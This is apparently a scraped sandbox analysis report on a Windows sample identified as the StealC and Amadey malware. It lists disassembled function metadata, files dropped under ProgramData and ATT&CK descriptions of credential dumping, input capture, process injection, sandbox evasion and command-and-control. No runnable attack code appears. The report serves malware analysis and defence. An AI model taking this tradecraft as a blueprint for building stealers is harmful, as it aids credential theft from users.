free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C226292

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: 8ab7c853d5cd6bb00b5c5dff130132f807e0ce8d00fb372822d479be21495676
Instruction ID: b9891bc07ad9904d86ddd21a9efb3511f08a08d117480272919d075da133d9c5
Opcode Fuzzy Hash: 8ab7c853d5cd6bb00b5c5dff130132f807e0ce8d00fb372822d479be21495676
Instruction Fuzzy Hash: 58310672A0060E8FDB04CF2CD881AAA73E9FB95309F108639D95ADB651EB35E598C750

Function 6C216E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6C216EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6C216EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C216F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C216F5C

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: 0e6f3ef1cd5fceb10adf66f4fd88c0d5a5b5cf0e019d2dc3196443e1fea15f96
Instruction ID: ce1416466375b272ef17ecfe3c70398e1b5fc349fc582ac90da653b07c67ba60
Opcode Fuzzy Hash: 0e6f3ef1cd5fceb10adf66f4fd88c0d5a5b5cf0e019d2dc3196443e1fea15f96
Instruction Fuzzy Hash: B131E571A1460A8FDB14CF2CC980AAE73E9EB94305F508239D91AC7A51EF32E659C790

Function 6C22B580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6C1D0A4D), ref: 6C22B5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6C1D0A4D), ref: 6C22B623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C1D0A4D), ref: 6C22B66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6C1D0A4D), ref: 6C22B67F

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: 9b73c8bdb6701fbf6804befd108d6bce48cf1bb6d4850907ac49bcdb7035a8a2
Instruction ID: b40d336d47af56dc24a6677e829f1c484eadddea934bed2f4e59b4616fd739be
Opcode Fuzzy Hash: 9b73c8bdb6701fbf6804befd108d6bce48cf1bb6d4850907ac49bcdb7035a8a2
Instruction Fuzzy Hash: CF31F471A0021A8FDB24DF58C844A6ABBB5FF84305F168529DC17DB241DB35E915CBA0

Function 6C1FF5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6C1FF611
memcpy.VCRUNTIME140(?,?,?), ref: 6C1FF623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6C1FF652
memcpy.VCRUNTIME140(?,?,?), ref: 6C1FF668

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: f09e92975386cfe36bcce7e22e282c0d4b708c01955e1e7e24dcc4a95faebc01
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: 77315EB1B00624AFCB14CF29CCC0A9E77F5EB84354B188638EA698BB14D671E945CB90

Function 6C1DB940 Relevance: 5.1, APIs: 4, Instructions: 64COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C1DB96F
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020), ref: 6C1DB99A
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C1DB9B0
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C1DB9B9

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: memcpy$freemalloc
String ID:
API String ID: 3313557100-0
Opcode ID: 9e2a01442421028b8c73af41c395a33cb3decec67d37e089a82fd03f1589e06c
Instruction ID: 0647ea1d5672c5fbe0579002d4885e339587294994a588e20d87c09d69fbac78
Opcode Fuzzy Hash: 9e2a01442421028b8c73af41c395a33cb3decec67d37e089a82fd03f1589e06c
Instruction Fuzzy Hash: B9117FF1A002059FCB04DF6DD8808ABB7F8BF98314B15853AE91AD7701D731A919CAA0

Function 6C2126B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C2126C1
free.MOZGLUE(?), ref: 6C2126E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C2126FF
free.MOZGLUE ref: 6C21270D

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: fd9138e9b5e7d1e84844c76e91bdafdc1c401cf11326eff1e37a1ca7df29ce1d
Instruction ID: 8961bc34b9e86fc9c0f0c692ed853ccc140a2f46fbdd386ce1f48c93f0661c4f
Opcode Fuzzy Hash: fd9138e9b5e7d1e84844c76e91bdafdc1c401cf11326eff1e37a1ca7df29ce1d
Instruction Fuzzy Hash: 27F0D6F27052495BE7109A18D888A5BB3E9EB5621DB140035FF16C3F01E732F919C691

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 8NjcvPNvUr.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Snort Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AECAECFCAAEBFHIEHDGHDHCBAK

C:\ProgramData\AEHIECAFCGDBFHIDBKFC

C:\ProgramData\EGIDHDGCBFBKECBFHCAF

C:\ProgramData\FHDAFIIDAKJDGDHIDAKJ

C:\ProgramData\FIDAFCAF

C:\ProgramData\JECAEHJJJKJKFIDGCBGIJJJEHI

C:\ProgramData\JJJEGCGD

Windows Analysis Report
8NjcvPNvUr.exe

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre